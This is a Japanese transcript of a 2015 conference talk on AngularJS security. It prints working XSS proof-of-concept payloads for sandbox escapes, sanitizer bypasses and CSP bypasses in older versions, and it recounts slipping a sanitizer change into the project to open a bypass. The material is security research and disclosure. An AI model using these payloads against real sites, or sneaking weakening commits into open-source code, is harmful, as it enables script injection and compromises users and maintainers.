AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015

1. AngularJS との危険な関係「スーパーヒーロー」フレームワークによるセキュリティをめぐる冒険マリオ・ハイデリッヒ mario@cure53.de || @0x6D6172696F

2. 貴方の DOM の中のゴジラ ● 工学博士マリオハイテリッヒ・゙ ● ルール大学ボーフム研究者・ポスドク ● 博士論文はクライアントサイドのセキュリティと防御について ● Cure53 創設者 ● ベルリンに在るペネトレーションテストとセキュリティの会社 ● セキュリティコンサルティング、ワークショップ、トレーニング ● 簡単に言うと、世界一の会社 ● 著作と講演の実績 ● 専門分野は HTML5 、 DOM 、 SVG のセキュリティ ● JavaScript 、 XSS 、クライアントサイド攻撃 ● HTML5 セキュリティの「カンニングペーパー」 ● そして DOM 浄化！ ● @0x6D6172696F ● mario@cure53.de

3. 今日は AngularJS について話をしたい。そして、それがどのようにセキュリティに対応しているかを。でもなぜ？全ては関連している？

4. そして、最も大事なこととして、 AngularJS は Java スクリプトフレームワークのハニーブーブー注 ) なの？注）ハニーブーブー：米国で話題になった番組の主人公私にはチキンナゲットパワーが有るのよ！

5. AngularJS とは？ ● ポピュラーな JavaScript MVC フレームワーク ● 実際に MVW （ Model-View-Whatever ） ● 自称「スーパーヒーローフレームワーク」 ● Google がメンテナンスして推奨 ● 分極化の哲学 ● ユーザ層は常に増加 ● 高い採用率 ● GitHub レポジトリの大トラフィック

6. なぜ AngularJS ● AngularJS とその不正行為についてについて話すのは初めてではない。 ● 事実、「 AngularJS 狩り」は結構しばしばやっていた。 ● これは一つの事例。 ● 不思議な議論への誘い。 ● 個人的な理由？いや、違う理由だよ。

7. 関係した理由 ● とても強い自己愛を獲得している（皮肉なことにね！分かりきったことだろうけど）。スーパーヒーローフレームワーク。 ● Web サイトの動作を変えつつある。 ● APIをよくぶっ壊してアップグレードを難しくしている。 ● HTML より賢い方法だと思われていて、 markup-sugar との相性もいい。 ● 間もなく出る Version 2.0 で全てがぶっ壊される。

8. MVC のハニーブーブー ? 私は自分が魚だと思うの

9. 多分違う・・・ ● AngularJS は高いセキュリティレベルを標準で備えている。 ● ルールに従えば、セキュリティレベルは素晴らしいものになる。 ● 開発する人とメンテナンスする人の両方において。 ● そして、ブラウザ内で動いているあらゆる複雑なものはブラウザを知る必要が有る。 ● 階層構造になった Web セキュリティのパラドクス。 ● ネットワーク、サーバ、ブラウザ、フレームワーク、ユーザ、そして、ネットワークに戻っていく全ての道筋。。。

10. ユーザがクライアント側のテンプレートを変更できないようにアプリケーションを設計するのが良い。例を挙げると：クライアントとサーバのテンプレートを混同しない。ユーザからの入力で動的にテンプレートを生成させない。ユーザからの入力を $scope.$eval で実行しない。 CSP を使うことを考える（しかし、 CSP のみにたよってはダメ） https://docs.angularjs.org/guide/security

11. じゃあ、意地悪になって攻撃してみようでも何を？何を見るべき？

12. ４つの主な攻撃経路 ● A1: サンドボックスを攻撃する ● A2: サニタイザーを攻撃する ● A3: CSP モードを攻撃する ● A4: コードベースで攻撃する

13. A1

14. A1: AngularJS のサンドボックス ● AngularJS のサンドボックスは不思議な動機によるおかしな創造物になっている。 ● ドキュメントによるとセキュリティツールではない。 ● 「 DOM から開発を切り離すこと」が主な役割だとのこと。 ● 危険を回避するために元々の DOM の露出を制限するとの意味。 ● AngularJS のサンドボックスは式といくつかの命令のために存在している。 ● 式に反映されたユーザの入力が直ちに XSS を意味することが有る。サンドボックスはこれを防ぐ。

15. A1: 最初のバイパス ● 初期の AngularJS においてはサンドボックスのバイパスは簡単なものだった ● {{constructor.constructor('alert(1)')()}} ● それだけ。スコープオブジェクトの constructor にアクセスして、次にまた constructor にアクセスして Function を手に入れて完了。 ● Function('code here')(); // like an eval ● この攻撃は AngularJS1.0 で可能になり、 1.2.0 でできなくなった。 ● 悲しいことに、多くのサイトはまだ AngularJS 1.1.x を使っている。 ● API が変わるため人アップグレードが難しくなっている、もしくは、アップグレードに関心が無いか。

16. <!– 幼稚園児でもできるサンドボックスのバイパス --!> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"> </script> <div class="ng-app"> {{ constructor.constructor('alert(1)')() }} </div>

17. A1: 最初の修正 ● AngularJS はこれに反応して修正した。「セキュリティツールじゃない」から（だよね？）。 ● この修正は Function ( とその他の危険なオブジェクト ) へのアクセスを制限する形で行われた。 ● だから、 Function をどこか違う場所から取ってこないといけない。 ● どこか、 AngulartJS が知らないアクセスできる場所。 ● ES5 では、コールバックして __proto__ が補助する、ここだ！

18. A1: さらなるバイパス ● AngularJS のパーサーは実にスマート。 ● バイパスはより創造的にならないといけない。 ● Jann Horn 、 Mathias Karlsson 、 Gábor Molnár が発見者。 ● そして、幸運にも、 Function を取ってくるメソッドを提供するオブジェクトを持っていた。 ● もしくは、先に述べたコールバック。 ● これからちょっとの間、詳しく見ていこう。

19. <!-- Jann Horn のバイパス --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js" ></script> </head> <body> {{ (_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor ( _.__proto__,$).value,0,'alert(1)')() }} </body>

20. <!-- AngularJS 1.2.0 における他の方法 --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular .js" ></script> </head> <body> {{ a="constructor";b={}; a.sub.call.call(b[a].getOwnPropertyDescriptor( b[a].getPrototypeOf( a.sub),a).value,0,'alert(1)')() }} </body>

21.  <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular .js"> </script> </head> <body> {{ toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor) }} </body>

22.  <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular. js"> </script> <body ng-app> {{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }} </body>

23. <!– アトリビュート経由のバイパス、ユーザの操作は必要なし → <!– このページを URL に #foo を含めて開くだけ --> <!doctype html> <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular. js" > </script> </head> <body> <a id="foo" ng-app ng- focus="$event.view.location.replace('javascript:document.writ e(document.domain)')" contenteditable="true"></a> </body> </html>

24. A1: 極端なバイパス ● Jann Horn が 1.3.2 においてもう一つのバイパスを報告した、それは常識を超えている

25. <!– Jann のむしろ端なバイパス極 --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></scri pt> <body ng-app ng-csp> {{ objectPrototype = ({})[['__proto__']]; objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest); $root.$$listenerCount[['constructor']] = 0; $root.$$listeners = [].map; $root.$$listeners.indexOf = [].map.bind; functionPrototype = [].map[['__proto__']]; functionToString = functionPrototype.toString; functionPrototype.push = ({}).valueOf; functionPrototype.indexOf = [].map.bind; foo = $root.$on('constructor', null); functionPrototype.toString = $root.$new; foo(); }} {{ functionPrototype.toString = functionToString; functionPrototype.indexOf = null; functionPrototype.push = null; $root.$$listeners = {}; baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')(); baz = true;'' }}

26. A1: 現在の状態 ● 1.3.2 から最新のバーションはどうなってる？ ● 公表されているサンドボックスのバイパスは無い。 ● 幅広いアクセスは制限されている。 ● window も、 Function も、 Object も、 call() や apply() も、 document も、 DOM ノードも無い。 ● そして、パーサーが理解しない他の興味深いもの、例えば RegEx 、 “ new” 、 anonymous 関数も。 ● じゃあこれで終わり？ ● ちょっと見てみよう！

27.  <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular. js" ></script> </head> <body ng-app> {{ 'this is how you write a number properly. also, numbers are basically arrays.'; 0[['__proto__']].toString = [][['__proto__']].pop; 0[['__proto__']][0] = 'alert("TROLOLOLn"+document.location)'; 0[['__proto__']].length = 1; 'did you know that angularjs eval parses, then re-stringifies numbers? :)'; $root.$eval("x=0", $root); }} </body>

28. A1: ユーザの介在 ● そして、様々な方法が有ってメンテナンスする人も手が回らない。 ● 例えば、 copy&paste 、私のお気に入り。

29.  <meta charset="UTF-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular. min.js"></script> <body ng-app=""> <input ng-copy=" $event.preventDefault(); $event.clipboardData.setData('text/html','<div contenteditable="false"><svg><a xlink:href="?" xmlns:xlink="http://www.w3.org/1999/xlink"><c ircle r="500" fill="red"></circle><animate attributeName="xlink:href" from="javascript:alert(1)" to="&" begin="0"></animate></a></svg> </div&gt') " value="Copy Me"> <div contenteditable>PASTE HERE</div> </body>

30. サラダなんて食べたことないわ

31. A2

32. A2: サニタイザー ● AngularJS には組み込まれた HTML のサニタイザーが有る。 ● $sanitize という名のコンポーネント。 ● その目的は XSS 攻撃を HTML の文字から洗い落とすこと。 ● そして、しっかりと安全に使用できるようにきれいな HTML を返す。 ● ２つのメジャーなバージョンが有って、ひとつは酷い、ひとつはそんなに悪くない。

33. A2: 古いサニタイザー ● 古いサニタイザーは、 2008年製の HTML パーサーを使っている。 ● その古いものは John E. Resig が開発、 ● 極端に厳格で、設定が難しく、いつもクラッシュする。 ● 試すことのできるテストケースを公開した。 ● いくつかの条件を満たせばバイパス可能。 ● Chrome のため。 ● それから、 Gareth Heyes に敬意を表して！ !

34. インジェクション : <svg xmlns:xlink="http://www.w3.org/1999/xlink"><use xlink:href="test.json?callback=%3Csvg%20id %3D%27rectangle%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%20xmlns%3Axlink%3D %27http%3A//www.w3.org/1999/xlink%27%20width%3D%27100%27%20height%3D%27100%27%3E %3Ca%20xlink%3Ahref%3D%27javascript%3Aalert%28location%29%27%3E%3Crect%20x%3D %270%27%20y%3D%270%27%20width%3D%27100%27%20height%3D%27100%27%20/%3E%3C/a%3E %3C/svg%3E#rectangle"></use></svg> Chrome は SVG <use> のコンテンツタイプを無視する！ !

35. A2: 新しいサニタイザ― ● 新しいサニタイザーはまだ醜い。しかし、パーサーの代わりに DOM を使っている。 ● すなわち、 document.implementation 、ちょうど DOMPurify のように。 ● 古いパーサーよりも厳格、なので、 SVG はデフォルトで禁止されている。 (-”-) ● 初期バージョンは SVG を禁止してなかったので「バイパス可能」だった。 ● そして、 SVG は正直言って扱いづらい。 ● 新しいバージョンも同じで、まだ「バイパス可能」 ● これもまた Chrome だから。 ● Roman Shafigullin に乾杯。

36. 影響する文字 :       Chrome における古典的 mXSS ！

37. ドラマなんていらないわ

38. A3

39. A3: CSP モードを攻撃 ● 他の多くのフレームワークとは違って、 AngularJS は CSP との相性が良い。 ● CSP とは？ Content Security Policy. ● 「 XSS キラー」になりたかったもの。 ● そして、そうならなければならないもの。そうでないと、エクステンションその他に展開できなかっただろうから。 ● CSP のコンパチビリティは強みであると同時に弱みでもある。 ● もちろん、興味が有るのは後者。

40. A3: 初期の CSP バイパス ● 最初に見つかったバイパスは控えめに言っても些細なものだった。フレームワークの機能を使うだけ。 ● 強い CSP と古い AngularJS を使っている Web サイトがターゲット。 ● インジェクションを見つける。 ● 「 onclick=”alert(1) 」はやってはダメ ● 代わりに「 ng-click=“$event.view.alert(1) 」をやる ● というのは $event は view 経由で window をリークする ● この方法は Version1.1.5 まで有効。

41. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular. js" ></script> </head> <body> <h1 ng-click="$event.view.alert(1)">XSS</h1> <h1 ng:click="$event.view.alert(2)">XSS</h1> <h1 x-ng-click="$event.view.alert(3)">XSS</h1> <h1 data-ng-click="$event.view.alert(4)">XSS</h1> <h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1> </body> </html>

42. A3: 修正と新しいバイパス ● どうしてここでサンドボックスも使わない？ ● AngularJS は、 window と他のプロパティへのアクセスを防御し始めた。 ● なので、 Chromeの欠陥を Blob に手伝ってもらいながら悪用しつつ間接的に行う。 ● しかし、 Blob には「新しい」オペレータが必要で、 AngularJS はそれをパースできない。 ● そこで、 ES6 と全く新しい Reflect API. を使うことをあてにする必要が有る。 ● ちなみに、この方法は Version 1.3.1 まで有効。 ● しかし、問題が有る。 Chrome Reflect.construct() まだ実装していない。 ● そこで、今のところは理論上のものだけでしかない。 ● そして、 Firefox も Edge も blob ともに使う CSP が使用可能。

43. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular. js" ></script> </head> <body> <h1 ng-click=" $event.view.location.replace($event.view.URL.createObjectURL( $event. view.Reflect.construct( $event.view.Blob, [['<script>alert(1)</script>'],{type:'text/html'}]))) ">XSS</h1>  <h1 ng- click="$event.view.location.replace('javascript:alert(1)')">X SS</h1> </body>

44.  <h1 ng-click=" $event.view.location.replace( // 4. call location.replace $event.view.URL.createObjectURL( // 3. create Blob URL $event.view.Reflect.construct( // 2. get around “new” $event.view.Blob, [['<script>alert(1)</script>'], {type:'text/html'}] // 1. build a Blob ) ) ); ">XSS</h1>

45. A3: 万能 CSP バイパス ● 簡単には直せないもう一つのバイパスが有る。 ● アプリケーションが Google CDN を使うところで可能。 ● Google が実装した collision check に関連しており、ただ単に遅すぎた。 ● というのは、 1.2.15 以降に実装されたため。 ● “WARNING: Tried to load angular more than once.” ● そして、ダウングレード攻撃を必ず可能にする。 ● 従って、もし、 Google CDN がホワイトリストされていたら、 CSP は必ずバイパスされる。ホワイトリストしないように。 ● ただ単に古いバイパスを戻してきただけ！

46. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.j s" ></script> </head> <body> <h1 class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs /1.1.5/angular.js></script><h1/ng- click=$event.view.alert(1)//>CLICKME"></h1> </body>

47. 今、リラックス中・・・

48. A4

49. A4: コードベースでの攻撃 ● 攻撃に使えるバグが見つからなかったら、攻撃者はどうする？ ● もちろん、プロジェクトそのものを攻撃する。 ● そして、オープンソースのパワーを使って、欲しいバグの原因となる変更を紹介する。 ● そして、それによって、バグを報告したことによる賞賛と望んだ攻撃箇所がタダで手に入る。 ● それを AngularJS に対して行った。 ● Google セキュリティは事前に知っていた。 AngularJS は知らなかった。

50. A4: The Con-Setup ● 修正されるとセキュリティ上の課題となるような分かりにくい「バグ」が必要だった。 ● あるいは、 QA を通るほど怪しくない Pull リクエストをこっそり組み込む。 ● 最初のオプションは現実的ではない。宝くじに当たるようなもの。 ● 二番目のオプションはリスクが大きい。見つかったら？ ● で・・・ ● 幸運なことに、 $sanitizer コンポーネント内にまさしく分かりにくい「バグ」が存在していた。 ● さあ、見てみよう!

51. A4: バグ // SVG attributes (without "id" and "name" attributes) // https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic- form,ascent,' + 'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap- height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill- rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font- weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin- x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker- start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline- position,' + 'overline-thickness,panose- 1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,s lope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough- thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke- miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text- anchor,to,transform,type,u1,u2,' + 楽しいことに、これらのアトリビュートは廃止予定の WHATWG Wiki のおかげで、安全と思われていた : https://wiki.whatwg.org/wiki/Sanitization_rules

52. A4: バグ angular.forEach(attrs, function(value, key) { var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background'); if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } } ); ここに示されているように、 lowercase がテストを無意味なものにしているだけでなく、正当なアトリビュートがパスしない。偶然にも、これは危険なアトリビュートにも正確にあてはまる。ありがとう SVG ！

53. A4: 実行 ● つまり、もし、サニタイザ―においてこの特定の動作が見られたら、バイパスをブロックする。。。 ● バグを報告して修正してもらわなくてはならない！ ● バグだよ。バイパスじゃないよ（ ^^ ） ● で、報告しました。 ● そして、受け付けられました！

54. A4: バイパス <svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" /> </a> </svg> アニメーションでリンクの href アトリビュートを最初からお見せします。危険な状態から、ブラウザが不正な状態にジャンプして戻る原因となる無害で不正な状態になるところまでのカッコいいところをｗｗ

55. A4: その後 ● Google セキュリティに報告。 ● 彼らが AngularJS Team に通知。 ● 数週間何も起こらず。 ● 次のリリースが近づいてきた。危ないねぇ！ ● 再び修正を促した。 ● ついに、バグを修正した。 ● やれやれ ( ;;^^ ● 今は、その部分は開発者に警告を与えるために多量のコメントが付いている。

56. /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

57. そして、もし、このことをやったために、私達をちょっぴり嫌う人がいた場合に。。。

58. バグ報奨金までもらったんだよ！ ( O )/^ ^

59. てっとり早く結論 ● AngularJS は、攻撃の幅を恐ろしく広げてくれた。古いバージョンは特に広い。 ● その間、いくつかの正しいことがなされた。他は、ほぼ二度と修正されることが無い。 ● 開発者は危険を知って避けなくてはならない。 ● そして、危険は往々にして不公平なまでに見つけるのも避けるのも難しい。特に CSP を使っている場合は。 ● 多くのサイトはいまだに古いバージョンを使っている。多いんだよ。 ● レポジトリへのトラフィックが多いオープンソースは危険 ● Google のチームはすでにいい仕事をしているが・・・ ● しかし、 Google は開発者を助けるためにもっとできるはず。

60. 終わり ● 質問？ ● コメント？ ● 有難うございました！ ● 歓声はこちらまで↓ ● Gareth McHeyes ● Jann Horn ● Mathias Karlsson ● G bor Moln rá á ● David Ross ● Eduardo Vela